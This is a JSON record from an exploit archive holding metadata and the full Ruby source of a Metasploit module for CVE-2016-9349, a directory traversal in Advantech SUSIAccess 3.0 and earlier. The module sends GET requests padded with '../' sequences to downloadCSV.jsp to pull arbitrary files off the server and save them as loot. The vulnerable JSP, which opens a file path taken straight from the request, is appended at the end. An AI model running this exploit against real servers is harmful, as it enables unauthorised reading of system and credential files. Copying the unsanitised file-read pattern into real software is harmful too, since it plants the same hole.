{"exploit":{"id":"EDB-42401","name":"Advantech SUSIAccess <= 3.0 - 'downloadCSV.jsp' Directory Traversal / Information Disclosure (Metasploit)","description":"Advantech SUSIAccess <= 3.0 - 'downloadCSV.jsp' Directory Traversal / Information Disclosure (Metasploit)","cves":["CVE-2016-9349"],"author":"James Fitts","published":"2017-08-01","platform":"jsp","type":"webapps","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/42401","path":"exploits/jsp/webapps/42401.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-42401.rb","vulnerabilities":[{"id":"CVE-2016-9349","state":"PUBLISHED","title":null,"titleSource":null,"description":"An issue was discovered in Advantech SUISAccess Server Version 3.0 and prior. An attacker could traverse the file system and extract files that can result in information disclosure.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2016-9349","cvss":{"version":"3.0","baseScore":7.5,"severity":"high","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2016-9349"},"updatedAt":"2024-08-06T02:50:37.399Z","retrievedAt":"2026-11-26T20:11:37.783Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-42401.png?v=2","url":"https://exploitbin.com/exploits/EDB-42401","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-42401/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-42401/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"require 'msf/core'\n\nclass MetasploitModule < Msf::Auxiliary\n\tRank = GreatRanking\n\n\tinclude Msf::Exploit::Remote::HttpClient\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'Advantech SUSIAccess Server Directory Traversal Information Disclosure',\n\t\t\t'Description'    => %q{\n\t\t\t\tThis module exploits an information disclosure vulnerability found in\n\t\t\t\tAdvantech SUSIAccess <= version 3.0. The vulnerability is triggered when\n\t\t\t\tsending a GET request to the server with a series of dot dot slashes (../)\n\t\t\t\tin the file parameter.\n\t\t\t},\n\t\t\t'Author'         => [ 'james fitts' ],\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t[ 'CVE', '2016-9349' ],\n\t\t\t\t\t[ 'ZDI', '16-628' ],\n\t\t\t\t\t[ 'BID', '94629' ],\n\t\t\t\t\t[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-336-04' ]\n\t\t\t\t],\n\t\t\t'DisclosureDate' => 'Dec 13 2016'))\n\n\t\tregister_options(\n\t\t\t[\n\t\t\t\tOptInt.new('DEPTH', [ false, 'Levels to reach base directory', 10]),\n\t\t\t\tOptString.new('FILE', [ false, 'This is the file to download', 'boot.ini']),\n\t\t\t\tOpt::RPORT(8080)\n\t\t\t], self.class )\n\tend\n\n\tdef run\n\n\tdepth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']\n\tlevels = \"/\" + (\"../\" * depth)\n\n\tfile = \"#{levels}#{datastore['FILE']}\"\n\tfile = file.gsub(/ /, \"%20\")\n\n\tres = send_request_raw({\n\t\t'method'\t=> 'GET',\n\t\t'uri'\t\t=> \"/downloadCSV.jsp?file=#{file}\",\n\t})\n\n\tif res and res.code == 200\n\t\tloot = res.body\n\t\tif not loot or loot.empty?\n\t\t\tprint_status(\"File from #{rhost}:#{rport} is empty...\")\n\t\t\treturn\n\t\tend\n\t\tfile = ::File.basename(datastore['FILE'])\n\t\tpath = store_loot('advantech_susiaccess.file', 'application/octet-stream', rhost, loot, file, datastore['FILE'])\n\t\tprint_status(\"Stored #{datastore['FILE']} to #{path}\")\n\t\treturn\n\telse\n\t\tprint_error(\"Something went wrong... Application returned a #{res.code}\")\n\tend\n\n\tend\nend\n__END__\n<%@ page import=\"java.util.*,java.io.*\" %>\n<%\n File f = new File (getServletContext().getRealPath(\"/\") + request.getParameter(\"file\") );\n //set the content type(can be excel/word/powerpoint etc..)\n response.setContentType (\"application/csv\");\n //set the header and also the Name by which user will be prompted to save\n response.setHeader (\"Content-Disposition\", \"attachment; filename=\\\"\"+request.getParameter(\"file\").split(\"/\")[2] +\"\\\"\");\n\n //get the file name\n String name = f.getName().substring(f.getName().lastIndexOf(\"/\") + 1,f.getName().length());\n //OPen an input stream to the file and post the file contents thru the\n //servlet output stream to the client m/c\n\n  InputStream in = new FileInputStream(f);\n  ServletOutputStream outs = response.getOutputStream();\n\n\n  int bit = 256;\n  int i = 0;\n  try {\n   while ((bit) >= 0) {\n    bit = in.read();\n    outs.write(bit);\n   }\n   //System.out.println(\"\" +bit);\n  } catch (IOException ioe) {\n   ioe.printStackTrace(System.out);\n  }\n//  System.out.println( \"n\" + i + \" bytes sent.\");\n//  System.out.println( \"n\" + f.length() + \" bytes sent.\");\n  outs.flush();\n  outs.close();\n  in.close();\n\n%>","sha256":"9e160465e617a5520c05bdd204e9f85d3088e5bd1e3a9f0daf71ed206db66835","bytes":3021,"fetchedAt":"2026-11-26T20:11:34.087Z","encoding":"utf-8 (display only; download retains original bytes)"}